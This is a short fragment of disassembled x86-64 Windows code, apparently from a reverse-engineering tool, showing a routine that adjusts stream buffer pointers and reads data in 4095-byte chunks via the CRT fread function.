sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000bc2e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000bbcd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000bc0e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000bc2e
cmp rbx, rax
ja 0x14000bbe0
test rbx, rbx
je 0x14000bc2e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
invalid